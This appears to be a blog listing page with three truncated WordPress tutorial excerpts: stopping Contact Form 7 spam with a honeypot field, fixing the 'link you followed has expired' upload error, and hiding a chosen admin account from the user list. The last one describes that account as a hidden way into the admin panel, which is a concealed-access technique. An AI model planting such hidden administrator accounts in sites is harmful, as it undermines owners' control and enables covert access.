Skip to main content

Posts

Showing posts with the label wordpress

Prevent Spam Emails in Contact form 7 wordpress

 Prevent or Stop Spam Emails in Contact form 7   If you're receiving spam emails through your Contact Form 7 (CF7) in WordPress, here are some effective ways to prevent them: 1. Use reCAPTCHA (Recommended)   2. Use Akismet Plugin   3. Enable a Honeypot Field using Plugin( Install and activate Contact Form 7 Honeypot plugin) 4. Custom Code (Best) So this tutorial will not cover 1-3 points because that is self explained in the heading . lets try 4th method, how to stop spam emails and block email in wordpress contact form 7 forms. we can use same method in any plugin or custom website. First we need to add an hidden field in our cf7 form. Add below code in your contact form [hidden trap-field class:spam-check]    and this code you can add in contact form 7 <script>   document.addEventListener("DOMContentLoaded", function() {       document.querySelectorAll(".spam-check").forEach(field => {     ...

WP Error Fix - The Link You Followed Has Expired

 WP Error Fix - The Link You Followed Has Expired     This WordPress error is common and mostly it comes when we try to upload a theme or plugins. WordPress gives this error because by default our server have fixed limit for max file upload , post size etc and because of this reason , when we try to upload a large size file PHP generates error like this. How to solve this error WP Error Fix - The Link You Followed Has Expired To solve this issue, we need to increase php size limit and we have several ways to do this 1. fix 'The Link You Followed Has Expired' wp error using .htaccess file This is the best and easy solution to fix this error and increase memory limit, post size, upload size etc. First go to your root directory of your project and check if you have .htaccess file exist or not, if its exist then edit it and add below code at the end of the file or if you do not have a .htaccess file in root directory then create a new one and edit and paste below code in it. ...

WP Hide A Specific Admin Account From Admin Panel User List

Wordpress How to Hide A Specific Admin Account From Admin Panel User List Wordpress is the most popular PHP CMS that is used by many websites, it provides an admin panel to manage it, also we can create multiple users to manage it, but sometimes we want to hide an admin  from the user list so no one can delete it , also it works like a hidden way of access admin panel. First create an account that you want to hide or if you already have that account then we can use that too. So to hide an admin account from user list we need two functions , one is to hide user from users lists and second code to show total users count. Open functions.php file of your current theme (Location: wp-content/themes/YOUR_THEME_NAME/functions.php) and add below code there. 1. Hide an admin from the users list or wp backend add_action('pre_user_query','site_pre_user_query'); function site_pre_user_query($user_search) {   global $current_user;   $username = $current_user->user_login; ...